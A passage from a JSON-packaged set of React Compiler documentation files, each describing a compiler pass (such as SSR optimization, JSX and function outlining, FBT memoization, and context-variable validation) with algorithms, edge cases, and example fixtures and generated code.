early returns or loop exits) uses `codegenLabel` to generate consistent label names:\n```typescript\nfunction codegenLabel(id: BlockId): string {\n  return `bb${id}`;  // e.g., \"bb0\", \"bb1\"\n}\n```\n\n### Nested Functions\nFunction expressions and object methods are recursively processed with their own contexts.\n\n### FBT/Internationalization\nSpecial handling for FBT operands ensures they're memoized in the same scope for correct internationalization behavior.\n\n## Statistics Collected\n```typescript\ntype CodegenFunction = {\n  memoSlotsUsed: number;     // Total cache slots allocated\n  memoBlocks: number;        // Number of reactive scopes\n  memoValues: number;        // Total memoized values\n  prunedMemoBlocks: number;  // Scopes that were pruned\n  prunedMemoValues: number;  // Values in pruned scopes\n  hasInferredEffect: boolean;\n};\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `simple.js`\n\n**Input:**\n```javascript\nexport default function foo(x, y) {\n  if (x) {\n    return foo(false, y);\n  }\n  return [y * 10];\n}\n```\n\n**Generated Code:**\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function foo(x, y) {\n  const $ = _c(4);  // Allocate 4 cache slots\n  if (x) {\n    let t0;\n    if ($[0] !== y) {           // Check dependency\n      t0 = foo(false, y);       // Compute\n      $[0] = y;                 // Store dependency\n      $[1] = t0;                // Store output\n    } else {\n      t0 = $[1];                // Load from cache\n    }\n    return t0;\n  }\n  const t0 = y * 10;\n  let t1;\n  if ($[2] !== t0) {            // Check dependency\n    t1 = [t0];                  // Compute\n    $[2] = t0;                  // Store dependency\n    $[3] = t1;                  // Store output\n  } else {\n    t1 = $[3];                  // Load from cache\n  }\n  return t1;\n}\n```\n\nKey observations:\n- `_c(4)` allocates 4 cache slots total\n- First scope uses slots 0-1: slot 0 for `y` dependency, slot 1 for `t0` output\n- Second scope uses slots 2-3: slot 2 for `t0` (the computed `y * 10`), slot 3 for `t1` (the array)\n- Each scope has an if-else structure: compute/store vs load\n- The memoization ensures referential equality of the returned array when `y` hasn't changed\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/34-optimizePropsMethodCalls.md",
    "content": "# optimizePropsMethodCalls\n\n## File\n`src/Optimization/OptimizePropsMethodCalls.ts`\n\n## Purpose\nThis pass converts method calls on the props object to regular function calls. Method calls like `props.onClick()` are transformed to `const t0 = props.onClick; t0()`. This normalization enables better analysis and optimization by the compiler.\n\nThe transformation is important because method calls have different semantics than regular calls - the receiver (`props`) would normally be passed as `this` to the method. For React props, methods are typically just callback functions where `this` binding doesn't matter, so converting them to regular calls is safe and enables better memoization.\n\n## Input Invariants\n- The function has been through type inference\n- Props parameters are typed as `TObject<BuiltInProps>`\n\n## Output Guarantees\n- All `MethodCall` instructions where the receiver has props type are converted to `CallExpression`\n- The method property becomes the callee of the call\n- Arguments are preserved exactly\n\n## Algorithm\n\n```typescript\nexport function optimizePropsMethodCalls(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (let i = 0; i < block.instructions.length; i++) {\n      const instr = block.instructions[i]!;\n\n      if (\n        instr.value.kind === 'MethodCall' &&\n        isPropsType(instr.value.receiver.identifier)\n      ) {\n        // Transform: props.onClick(arg)\n        // To: const t0 = props.onClick; t0(arg)\n        instr.value = {\n          kind: 'CallExpression',\n          callee: instr.value.property,  // The method becomes the callee\n          args: instr.value.args,\n          loc: instr.value.loc,\n        };\n      }\n    }\n  }\n}\n\nfunction isPropsType(identifier: Identifier): boolean {\n  return (\n    identifier.type.kind === 'Object' &&\n    identifier.type.shapeId === BuiltInPropsId\n  );\n}\n```\n\n## Edge Cases\n\n### Non-Props Method Calls\nMethod calls on non-props objects are left unchanged:\n```javascript\n// Unchanged - array.map is not on props\narray.map(x => x * 2)\n\n// Unchanged - obj is not props\nobj.method()\n```\n\n### Props Type Detection\nThe pass uses type information to identify props:\n```javascript\nfunction Component(props) {\n  // props has type TObject<BuiltInProps>\n  props.onClick();  // Transformed\n}\n\nfunction Regular(obj) {\n  // obj has unknown type\n  obj.onClick();  // Not transformed\n}\n```\n\n### Nested Props Access\nOnly direct method calls on props are transformed:\n```javascript\nprops.onClick();       // Transformed\nprops.nested.onClick(); // Not transformed (receiver is props.nested, not props)\n```\n\n### Arrow Function Callbacks\nWorks with any method on props:\n```javascript\nprops.onChange(value);   // Transformed\nprops.onSubmit(data);    // Transformed\nprops.validate(input);   // Transformed\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: Using props method\n\n**Input:**\n```javascript\nfunction Component(props) {\n  return <button onClick={() => props.onClick()} />;\n}\n```\n\n**Before OptimizePropsMethodCalls:**\n```\n[1] $5 = Function @context[props$1] ...\n    <<anonymous>>():\n      [1] $2 = LoadLocal props$1\n      [2] $3 = PropertyLoad $2.onClick\n      [3] $4 = MethodCall $2.$3()  // Method call on props\n      [4] Return Void\n```\n\n**After OptimizePropsMethodCalls:**\n```\n[1] $5 = Function @context[props$1] ...\n    <<anonymous>>():\n      [1] $2 = LoadLocal props$1\n      [2] $3 = PropertyLoad $2.onClick\n      [3] $4 = Call $3()  // Now a regular call\n      [4] Return Void\n```\n\nKey observations:\n- `MethodCall $2.$3()` becomes `Call $3()`\n- The property load (`$3 = PropertyLoad $2.onClick`) is preserved\n- The receiver (`$2`) is no longer part of the call\n- This enables the compiler to analyze `onClick` as a regular function\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/35-optimizeForSSR.md",
    "content": "# optimizeForSSR\n\n## File\n`src/Optimization/OptimizeForSSR.ts`\n\n## Purpose\nThis pass applies Server-Side Rendering (SSR) specific optimizations. During SSR, React renders components to HTML strings without mounting them in the DOM. This means:\n\n1. **Effects don't run** - `useEffect` and `useLayoutEffect` are no-ops\n2. **Event handlers aren't needed** - There's no DOM to attach handlers to\n3. **State is never updated** - Components render once with initial state\n4. **Refs aren't attached** - There's no DOM to ref\n\nThe pass leverages these SSR characteristics to inline and simplify code, removing unnecessary runtime overhead.\n\n## Input Invariants\n- The function has been through type inference\n- Hook types are properly identified (useState, useReducer, useEffect, etc.)\n- Function types for callbacks are properly inferred\n\n## Output Guarantees\n- `useState(initialValue)` is inlined to just `[initialValue, noop]`\n- `useReducer(reducer, initialArg, init?)` is inlined to `[init ? init(initialArg) : initialArg, noop]`\n- `useEffect` and `useLayoutEffect` calls are removed entirely\n- Event handler functions (functions that call setState) are replaced with empty functions\n- Ref-typed values are removed from JSX props\n\n## Algorithm\n\n### Phase 1: Identify Inlinable State\n```typescript\nconst inlinedState = new Map<IdentifierId, InstructionValue>();\n\nfor (const instr of block.instructions) {\n  if (isUseStateCall(instr)) {\n    // Store the initial value for inlining\n    inlinedState.set(instr.lvalue.id, {\n      kind: 'ArrayExpression',\n      elements: [initialValue, noopFunction],\n    });\n  }\n\n  if (isUseReducerCall(instr)) {\n    // Compute initial state and store for inlining\n    const initialState = init ? callInit(initialArg) : initialArg;\n    inlinedState.set(instr.lvalue.id, {\n      kind: 'ArrayExpression',\n      elements: [initialState, noopFunction],\n    });\n  }\n}\n```\n\n### Phase 2: Inline State Hooks\nReplace useState/useReducer with their computed initial values:\n```typescript\n// Before:\n$0 = useState(0)\n[state, setState] = $0\n\n// After (inlined):\n$0 = [0, () => {}]\n[state, setState] = $0\n```\n\n### Phase 3: Remove Effects\n```typescript\nif (isUseEffectCall(instr) || isUseLayoutEffectCall(instr)) {\n  // Remove the instruction entirely\n  block.instructions.splice(i, 1);\n}\n```\n\n### Phase 4: Identify and Neuter Event Handlers\n```typescript\n// Functions that capture and call setState are event handlers\nif (capturesSetState(functionExpr)) {\n  // Replace with empty function\n  instr.value = {\n    kind: 'FunctionExpression',\n    params: originalParams,\n    body: emptyBody,\n  };\n}\n```\n\n### Phase 5: Remove Ref Props\n```typescript\nif (isJSX(instr) && hasRefProp(instr)) {\n  // Remove ref={...} from JSX props\n  removeRefProp(instr.value);\n}\n```\n\n## Edge Cases\n\n### useState with Function Initializer\nWhen `useState` receives a function initializer, it must be called:\n```javascript\n// useState(() => expensive())\n// SSR: Call the initializer to get the value\nconst [state] = [expensiveComputation(), noop];\n```\n\n### useReducer with Init Function\nThe optional `init` function is called with `initialArg`:\n```javascript\n// useReducer(reducer, arg, init)\n// SSR: [init(arg), noop]\n```\n\n### Nested State Setters\nFunctions that transitively call setState are also event handlers:\n```javascript\nfunction outer() {\n  function inner() {\n    setState(x);  // inner is event handler\n  }\n  inner();  // outer is also event handler\n}\n```\n\n### Conditional Event Handlers\nEvent handler detection is conservative - if a function might call setState, it's treated as an event handler.\n\n### Refs in Nested Objects\nOnly direct `ref` props on JSX are removed:\n```javascript\n<div ref={myRef} />           // ref removed\n<div config={{ref: myRef}} /> // ref NOT removed (nested)\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `ssr/optimize-ssr.js`\n\n**Input:**\n```javascript\nfunction Component() {\n  const [state, setState] = useState(0);\n  const ref = useRef(null);\n  const onChange = (e) => {\n    setState(e.target.value);\n  };\n  useEffect(() => {\n    log(ref.current.value);\n  });\n  return <input value={state} onChange={onChange} ref={ref} />;\n}\n```\n\n**After SSR Optimization:**\n```javascript\nfunction Component() {\n  const $ = _c(1);\n  // useState inlined to [initialValue, noop]\n  const [state] = [0, () => {}];\n\n  // useRef returns object with current: null\n  const ref = { current: null };\n\n  // Event handler replaced with noop (it calls setState)\n  const onChange = () => {};\n\n  // useEffect removed entirely (no-op on SSR)\n\n  // ref prop removed from JSX\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <input value={state} onChange={onChange} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n```\n\nKey observations:\n- `useState(0)` becomes `[0, () => {}]` - no hook call\n- `useEffect(...)` is removed entirely\n- `onChange` is replaced with empty function since it called `setState`\n- `ref={ref}` prop is removed from JSX\n- SSR output is simpler and has less runtime overhead\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/36-outlineJSX.md",
    "content": "# outlineJSX\n\n## File\n`src/Optimization/OutlineJsx.ts`\n\n## Purpose\nThis pass outlines nested JSX elements into separate component functions. When a callback function contains JSX, this pass can extract that JSX into a new component, which enables:\n\n1. **Better code splitting** - Outlined components can be lazily loaded\n2. **Memoization at component boundaries** - React's reconciliation can skip unchanged subtrees\n3. **Reduced closure captures** - Outlined components receive props explicitly\n\nThe pass specifically targets JSX within callbacks (like `.map()` callbacks) rather than top-level component returns.\n\n## Input Invariants\n- The `enableJsxOutlining` feature flag must be enabled\n- The function must be a React component or hook\n- JSX must appear within a nested function expression (callback)\n\n## Output Guarantees\n- Nested functions containing only JSX returns are extracted as separate components\n- The original callback is replaced with a call to the outlined component\n- Captured variables become explicit props to the outlined component\n- The outlined component is registered with the environment for emission\n\n## Algorithm\n\n### Phase 1: Identify Outlinable JSX\n```typescript\nfunction outlineJsxImpl(fn: HIRFunction, outlinedFns: Array<HIRFunction>): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      if (instr.value.kind === 'FunctionExpression') {\n        const innerFn = instr.value.loweredFunc.func;\n\n        // Check if function only returns JSX\n        if (canOutline(innerFn)) {\n          const outlined = createOutlinedComponent(innerFn);\n          outlinedFns.push(outlined);\n          replaceWithComponentCall(instr, outlined);\n        }\n      }\n    }\n  }\n}\n```\n\n### Phase 2: Check Outlinability\n```typescript\nfunction canOutline(fn: HIRFunction): boolean {\n  // Must have exactly one block with only JSX-related instructions\n  // Must end with returning JSX\n  // Must not have complex control flow\n\n  return (\n    fn.body.blocks.size === 1 &&\n    returnsJSX(fn) &&\n    !hasComplexControlFlow(fn)\n  );\n}\n```\n\n### Phase 3: Create Outlined Component\n```typescript\nfunction createOutlinedComponent(fn: HIRFunction): HIRFunction {\n  // Convert captured context to props\n  const props = fn.context.map(capture => ({\n    name: capture.identifier.name,\n    type: capture.identifier.type,\n  }));\n\n  // Create new component function\n  return {\n    ...fn,\n    params: [{kind: 'Identifier', name: 'props', ...}],\n    context: [],  // No captures - all via props\n  };\n}\n```\n\n### Phase 4: Replace Original Callback\n```typescript\nfunction replaceWithComponentCall(instr: Instruction, outlined: HIRFunction): void {\n  // Original: items.map(item => <Stringify item={item} />)\n  // Becomes: items.map(item => <OutlinedComponent item={item} />)\n\n  instr.value = {\n    kind: 'JSX',\n    tag: {kind: 'LoadGlobal', name: outlined.id},\n    props: capturedVariablesToProps(instr.value.context),\n  };\n}\n```\n\n### Phase 5: Register Outlined Functions\n```typescript\nexport function outlineJSX(fn: HIRFunction): void {\n  const outlinedFns: Array<HIRFunction> = [];\n  outlineJsxImpl(fn, outlinedFns);\n\n  for (const outlinedFn of outlinedFns) {\n    fn.env.outlineFunction(outlinedFn, 'Component');\n  }\n}\n```\n\n## Edge Cases\n\n### Context Captures\nVariables captured by the callback become props:\n```javascript\n// Before:\nitems.map(item => <Card key={item.id} user={currentUser} item={item} />)\n\n// After (outlined):\nfunction OutlinedCard(props) {\n  return <Card key={props.item.id} user={props.currentUser} item={props.item} />;\n}\nitems.map(item => <OutlinedCard currentUser={currentUser} item={item} />)\n```\n\n### Complex Control Flow\nCallbacks with conditionals or loops are not outlined:\n```javascript\n// Not outlined - has conditional\nitems.map(item => item.show ? <Card item={item} /> : null)\n```\n\n### Multiple JSX Returns\nOnly single-JSX-return callbacks are outlined:\n```javascript\n// Not outlined - multiple potential returns\nitems.map(item => {\n  if (item.type === 'a') return <TypeA item={item} />;\n  return <TypeB item={item} />;\n})\n```\n\n### Top-Level JSX\nOnly JSX in nested callbacks is outlined, not component return values:\n```javascript\nfunction Component() {\n  return <div />;  // Not outlined - this is the component's return\n}\n```\n\n### Recursive Outlining\nThe pass recursively processes outlined components to outline their nested JSX.\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `outlined-helper.js`\n\n**Input:**\n```javascript\n// @enableFunctionOutlining\nfunction Component(props) {\n  return (\n    <div>\n      {props.items.map(item => (\n        <Stringify key={item.id} item={item.name} />\n      ))}\n    </div>\n  );\n}\n```\n\n**After OutlineJSX:**\n```\n// Outlined component:\nfunction _outlined_Component$1(props) {\n  return <Stringify key={props.item.id} item={props.item.name} />;\n}\n\n// Original component modified:\nfunction Component(props) {\n  return (\n    <div>\n      {props.items.map(item => (\n        <_outlined_Component$1 item={item} />\n      ))}\n    </div>\n  );\n}\n```\n\n**Generated Code:**\n```javascript\nfunction _outlined_Component$1(props) {\n  const $ = _c(2);\n  const item = props.item;\n  let t0;\n  if ($[0] !== item.id || $[1] !== item.name) {\n    t0 = <Stringify key={item.id} item={item.name} />;\n    $[0] = item.id;\n    $[1] = item.name;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props.items) {\n    t0 = props.items.map((item) => <_outlined_Component$1 item={item} />);\n    $[0] = props.items;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return <div>{t0}</div>;\n}\n```\n\nKey observations:\n- The map callback JSX is extracted into `_outlined_Component$1`\n- The `item` variable becomes a prop instead of a closure capture\n- The outlined component gets its own memoization cache\n- This enables React to skip re-rendering unchanged list items\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/37-outlineFunctions.md",
    "content": "# outlineFunctions\n\n## File\n`src/Optimization/OutlineFunctions.ts`\n\n## Purpose\nThis pass outlines pure function expressions that have no captured context into top-level helper functions. By moving these functions outside the component, they become truly static and can be shared across renders without any memoization overhead.\n\nA function with no captured context is completely self-contained - it only uses its parameters and globals. Such functions don't need to be recreated on each render and can be hoisted to module scope.\n\n## Input Invariants\n- The `enableFunctionOutlining` feature flag must be enabled\n- Functions must have `context.length === 0` (no captured variables)\n- Functions must be anonymous (no `id` property)\n- Functions must not be FBT macro operands (tracked by `fbtOperands` parameter)\n\n## Output Guarantees\n- Pure function expressions are replaced with `LoadGlobal` of the outlined function\n- Outlined functions are registered with the environment for emission\n- The original instruction is transformed to load the global\n\n## Algorithm\n\n```typescript\nexport function outlineFunctions(\n  fn: HIRFunction,\n  fbtOperands: Set<IdentifierId>,\n): void {\n  for (const [, block] of fn.body.blocks) {\n    for (let i = 0; i < block.instructions.length; i++) {\n      const instr = block.instructions[i]!;\n\n      if (\n        instr.value.kind === 'FunctionExpression' &&\n        instr.value.loweredFunc.func.context.length === 0 &&\n        instr.value.loweredFunc.func.id === null &&\n        !fbtOperands.has(instr.lvalue.identifier.id)\n      ) {\n        // Outline this function\n        const outlinedId = fn.env.outlineFunction(\n          instr.value.loweredFunc.func,\n          'helper',\n        );\n\n        // Replace with LoadGlobal\n        instr.value = {\n          kind: 'LoadGlobal',\n          binding: {\n            kind: 'ModuleLocal',\n            name: outlinedId,\n          },\n          loc: instr.value.loc,\n        };\n      }\n    }\n  }\n}\n```\n\n## Edge Cases\n\n### Functions with Context\nFunctions that capture variables are not outlined:\n```javascript\nfunction Component(props) {\n  const x = props.value;\n  const fn = () => x * 2;  // Captures x, not outlined\n}\n```\n\n### Named Functions\nFunctions with explicit names are not outlined:\n```javascript\nconst foo = function namedFn() { ... };  // Has id, not outlined\n```\n\n### FBT Operands\nFunctions used as FBT operands cannot be outlined due to translation requirements:\n```javascript\n<fbt>\n  Hello <fbt:param name=\"user\">{() => getName()}</fbt:param>\n</fbt>\n// The function cannot be outlined - FBT needs it inline\n```\n\n### Arrow Functions vs Function Expressions\nBoth arrow functions and function expressions are candidates:\n```javascript\nconst a = () => 1;           // Outlined if no context\nconst b = function() {};     // Outlined if no context\n```\n\n### Recursive Functions\nSelf-referencing functions cannot be outlined (they would have themselves in context):\n```javascript\nconst fib = (n) => n <= 1 ? n : fib(n-1) + fib(n-2);  // References self\n```\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `outlined-helper.js`\n\n**Input:**\n```javascript\n// @enableFunctionOutlining\nfunction Component(props) {\n  return (\n    <div>\n      {props.items.map(item => (\n        <Stringify key={item.id} item={item.name} />\n      ))}\n    </div>\n  );\n}\n```\n\n**Analysis:**\nThe map callback `item => <Stringify .../>` has one captured variable: nothing from the component (only uses `item` parameter). However, it receives `item` as a parameter, not from context.\n\nIf we have a truly pure helper:\n```javascript\n// @enableFunctionOutlining\nfunction Component(props) {\n  const double = (x) => x * 2;  // No context, pure\n  return <div>{double(props.value)}</div>;\n}\n```\n\n**After OutlineFunctions:**\n```\n// Outlined to module scope:\nfunction _outlined_double$1(x) {\n  return x * 2;\n}\n\n// In component:\n[1] $1 = LoadGlobal _outlined_double$1  // Instead of FunctionExpression\n[2] StoreLocal Const double = $1\n```\n\n**Generated Code:**\n```javascript\nfunction _outlined_double$1(x) {\n  return x * 2;\n}\n\nfunction Component(props) {\n  const $ = _c(2);\n  const double = _outlined_double$1;  // Just a reference, no recreation\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = <div>{double(props.value)}</div>;\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n```\n\nKey observations:\n- The pure function is hoisted to module scope\n- The component just references the outlined function\n- No memoization needed for the function itself\n- Reduces runtime overhead by avoiding function recreation\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/38-memoizeFbtAndMacroOperandsInSameScope.md",
    "content": "# memoizeFbtAndMacroOperandsInSameScope\n\n## File\n`src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts`\n\n## Purpose\nThis pass ensures that FBT (Facebook Translation) expressions and their operands are memoized within the same reactive scope. FBT is Facebook's internationalization system that requires special handling to ensure translations work correctly.\n\nThe key insight is that FBT operands must be computed and frozen together with the FBT call itself. If operands were memoized in separate scopes, the translation system could receive stale operand values when only some inputs change.\n\n## Input Invariants\n- The function has been through type inference\n- FBT calls (`fbt`, `fbt.c`, `fbt:param`, etc.) are properly identified\n- Custom macros are configured in `fn.env.config.customMacros`\n- Reactive scope variables have been inferred\n\n## Output Guarantees\n- All operands of FBT calls are assigned to the same reactive scope as the FBT call\n- The `fbtOperands` set is returned for use by other passes (e.g., `outlineFunctions`)\n- Operand scope assignments use either transitive or shallow inlining based on macro definition\n\n## Algorithm\n\n### Phase 1: Collect Macro Kinds\n```typescript\nconst macroKinds = new Map<Macro, MacroDefinition>([\n  ...Array.from(FBT_TAGS.entries()),  // Built-in fbt tags\n  ...(fn.env.config.customMacros ?? []).map(([name, def]) => [name, def]),\n]);\n```\n\n### Phase 2: Populate Macro Tags\n```typescript\nfunction populateMacroTags(\n  fn: HIRFunction,\n  macroKinds: Map<Macro, MacroDefinition>,\n): Map<IdentifierId, MacroDefinition> {\n  const macroTags = new Map();\n\n  for (const instr of allInstructions(fn)) {\n    if (isLoadGlobal(instr) || isPropertyLoad(instr)) {\n      const name = getName(instr);\n      if (macroKinds.has(name)) {\n        macroTags.set(instr.lvalue.id, macroKinds.get(name));\n      }\n    }\n  }\n\n  return macroTags;\n}\n```\n\n### Phase 3: Merge Macro Arguments\n```typescript\nfunction mergeMacroArguments(\n  fn: HIRFunction,\n  macroTags: Map<IdentifierId, MacroDefinition>,\n  macroKinds: Map<Macro, MacroDefinition>,\n): Set<IdentifierId> {\n  const macroValues = new Set<IdentifierId>();\n\n  for (const instr of allInstructions(fn)) {\n    if (isCall(instr) || isMethodCall(instr) || isJSX(instr)) {\n      const callee = getCallee(instr);\n      const macroDef = macroTags.get(callee.id);\n\n      if (macroDef !== undefined) {\n        // Mark all operands to be in same scope\n        for (const operand of getOperands(instr)) {\n          macroValues.add(operand.id);\n\n          // Merge scope to match macro call scope\n          if (macroDef.inlineLevel === InlineLevel.Transitive) {\n            mergeScopesTransitively(operand, instr.lvalue);\n          } else {\n            mergeScopes(operand, instr.lvalue);\n          }\n        }\n      }\n    }\n  }\n\n  return macroValues;\n}\n```\n\n### InlineLevel Types\n```typescript\nenum InlineLevel {\n  Shallow,     // Only merge direct operands\n  Transitive,  // Merge operands and their dependencies\n}\n```\n\n## Edge Cases\n\n### Nested FBT Params\nFBT params can be nested, and all levels must be in the same scope:\n```javascript\n<fbt>\n  Hello <fbt:param name=\"user\">\n    <fbt:param name=\"firstName\">{user.firstName}</fbt:param>\n  </fbt:param>\n</fbt>\n```\n\n### FBT with Complex Expressions\nComplex expressions as operands have their entire dependency chain merged:\n```javascript\n<fbt>\n  Count: <fbt:param name=\"count\">{items.length * multiplier}</fbt:param>\n</fbt>\n// Both items.length and multiplier expressions are merged into fbt scope\n```\n\n### Custom Macros\nUser-defined macros can specify their inlining behavior:\n```typescript\ncustomMacros: [\n  ['myMacro', { inlineLevel: InlineLevel.Transitive }],\n]\n```\n\n### Method Calls on FBT\n`fbt.param()`, `fbt.plural()`, etc. are handled as method calls:\n```javascript\nfbt(\n  fbt.param('count', items.length),  // MethodCall on fbt\n  'description'\n)\n```\n\n### JSX vs Call Syntax\nBoth JSX and call syntax for FBT are handled:\n```javascript\n// JSX syntax\n<fbt desc=\"greeting\">Hello</fbt>\n\n// Call syntax\nfbt('Hello', 'greeting')\n```\n\n## Built-in FBT Tags\nThe pass recognizes these FBT constructs:\n- `fbt` / `fbt.c` - Main translation functions\n- `fbt:param` - Parameter substitution\n- `fbt:plural` - Plural handling\n- `fbt:enum` - Enumeration values\n- `fbt:name` - Name parameters\n- `fbt:pronoun` - Pronoun handling\n- `fbs` - Simple string translation\n\n## TODOs\nNone in the source file.\n\n## Example\n\n### Fixture: `fbt/fbt-call.js`\n\n**Input:**\n```javascript\nfunction Component(props) {\n  const text = fbt(\n    `${fbt.param('count', props.count)} items`,\n    'Number of items'\n  );\n  return <div>{text}</div>;\n}\n```\n\n**Before MemoizeFbtAndMacroOperandsInSameScope:**\n```\n[1] $18 = LoadGlobal import fbt from 'fbt'\n[2] $19 = LoadGlobal import fbt from 'fbt'\n[3] $20_@0[3:8] = PropertyLoad $19.param\n[4] $21 = \"(key) count\"\n[5] $22 = LoadLocal props$17\n[6] $23 = PropertyLoad $22.count\n[7] $24_@0[3:8] = MethodCall $19.$20_@0($21, $23)  // fbt.param call\n[8] $25 = `${$24_@0} items`\n[9] $26 = \"(description) Number of items\"\n[10] $27_@1 = Call $18($25, $26)  // fbt call\n```\n\n**After MemoizeFbtAndMacroOperandsInSameScope:**\n```\n[1] $18_@1[1:11] = LoadGlobal import fbt from 'fbt'  // Merged to @1\n[2] $19 = LoadGlobal import fbt from 'fbt'\n[3] $20_@0[3:8] = PropertyLoad $19.param\n[4] $21 = \"(key) count\"\n[5] $22 = LoadLocal props$17\n[6] $23 = PropertyLoad $22.count\n[7] $24_@1[1:11] = MethodCall $19.$20_@0($21, $23)  // Merged to @1\n[8] $25_@1[1:11] = `${$24_@1} items`                // Merged to @1\n[9] $26_@1[1:11] = \"(description) Number of items\" // Merged to @1\n[10] $27_@1[1:11] = Call $18_@1($25_@1, $26_@1)     // Main fbt scope @1\n```\n\n**Generated Code:**\n```javascript\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] !== props.count) {\n    // All fbt operands computed in same memoization block\n    t0 = fbt(\n      `${fbt.param(\"count\", props.count)} items`,\n      \"Number of items\"\n    );\n    $[0] = props.count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const text = t0;\n  let t1;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>{text}</div>;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n```\n\nKey observations:\n- All FBT-related operations are in the same memoization scope `@1`\n- `fbt.param`, template literal, and `fbt` call are memoized together\n- This ensures the translation system receives consistent operand values\n- The entire translation is recomputed when any operand (`props.count`) changes\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/docs/passes/39-validateContextVariableLValues.md",
    "content": "# validateContextVariableLValues\n\n## File\n`src/Validation/ValidateContextVariableLValues.ts`\n\n## Purpose\nThis validation pass ensures that all load/store references to a given named identifier are consistent with the \"kind\" of that variable (normal local variable or context variable). Context variables are variables that are captured by closures and require special handling for correct closure semantics.\n\nThe pass prevents mixing context variable operations (`DeclareContext`, `StoreContext`, `LoadContext`) with local variable operations (`DeclareLocal`, `StoreLocal`, `LoadLocal`, `Destructure`) on the same identifier.\n\n## Input Invariants\n- The function has been lowered to HIR\n- All instructions have been categorized by kind\n- Nested function expressions have been lowered\n\n## Validation Rules\n\n### Rule 1: Consistent Variable Kind\nAll references to the same identifier must use consistent load/store operations:\n- Context variables must only use `DeclareContext`, `StoreContext`, `LoadContext`\n- Local variables must only use `DeclareLocal`, `StoreLocal`, `LoadLocal`\n\n**Error (Invariant violation):**\n```\nExpected all references to a variable to be consistently local or context references\nIdentifier [place] is referenced as a [kind] variable, but was previously referenced as a [prev.kind] variable\n```\n\n### Rule 2: No Destructuring of Context Variables\nContext variables cannot be destructured using the `Destructure` instruction.\n\n**Error (Todo):**\n```\nSupport destructuring of context variables\n```\n\n### Rule 3: Unhandled Instruction Variants\nIf an instruction has lvalues that the pass does not handle, it throws a Todo error.\n\n**Error (Todo):**\n```\nValidateContextVariableLValues: unhandled instruction variant\nHandle '[kind]' lvalues\n```\n\n## Algorithm\n\n### Phase 1: Initialize Tracking\n```typescript\nconst identifierKinds: Map<IdentifierId, {place: Place, kind: 'local' | 'context' | 'destructure'}> = new Map();\n```\n\n### Phase 2: Visit All Instructions\nThe pass iterates through all blocks and instructions, categorizing each based on its kind:\n\n```typescript\nfor (const [, block] of fn.body.blocks) {\n  for (const instr of block.instructions) {\n    switch (value.kind) {\n      case 'DeclareContext':\n      case 'StoreContext':\n        visit(identifierKinds, value.lvalue.place, 'context');\n        break;\n      case 'LoadContext':\n        visit(identifierKinds, value.place, 'context');\n        break;\n      case 'StoreLocal':\n      case 'DeclareLocal':\n        visit(identifierKinds, value.lvalue.place, 'local');\n        break;\n      case 'LoadLocal':\n        visit(identifierKinds, value.place, 'local');\n        break;\n      case 'PostfixUpdate':\n      case 'PrefixUpdate':\n        visit(identifierKinds, value.lvalue, 'local');\n        break;\n      case 'Destructure':\n        for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {\n          visit(identifierKinds, lvalue, 'destructure');\n        }\n        break;\n      case 'ObjectMethod':\n      case 'FunctionExpression':\n        // Recursively validate nested functions\n        validateContextVariableLValuesImpl(value.loweredFunc.func, identifierKinds);\n        break;\n    }\n  }\n}\n```\n\n### Phase 3: Check Consistency\nFor each place visited, the `visit` function checks if the identifier was previously seen with a different kind:\n\n```typescript\nfunction visit(identifiers, place, kind) {\n  const prev = identifiers.get(place.identifier.id);\n  if (prev !== undefined) {\n    const wasContext = prev.kind === 'context';\n    const isContext = kind === 'context';\n    if (wasContext !== isContext) {\n      // Check for destructuring of context variable\n      if (prev.kind === 'destructure' || kind === 'destructure') {\n        CompilerError.throwTodo({\n          reason: `Support destructuring of context variables`,\n          ...\n        });\n      }\n      // Invariant violation: inconsistent variable kinds\n      CompilerError.invariant(false, {\n        reason: 'Expected all references to be consistently local or context references',\n        ...\n      });\n    }\n  }\n  identifiers.set(place.identifier.id, {place, kind});\n}\n```\n\n## Edge Cases\n\n### Nested Function Expressions\nThe validation recursively processes nested function expressions and object methods, sharing the same `identifierKinds` map. This ensures that a variable captured by a nested function is consistently treated as a context variable throughout the entire function hierarchy.\n\n### Destructuring Patterns\nEach operand in a destructure pattern is visited individually, marked as 'destructure' kind. If the same identifier was previously used as a context variable, a Todo error is thrown since destructuring of context variables is not yet supported.\n\n### Update Expressions\nBoth `PostfixUpdate` (e.g., `x++`) and `PrefixUpdate` (e.g., `++x`) are treated as local variable operations.\n\n## TODOs\n\n1. **Destructuring of context variables** - Currently not supported:\n   ```typescript\n   CompilerError.throwTodo({\n     reason: `Support destructuring of context variables`,\n     ...\n   });\n   ```\n\n2. **Unhandled instruction variants** - Some instruction types 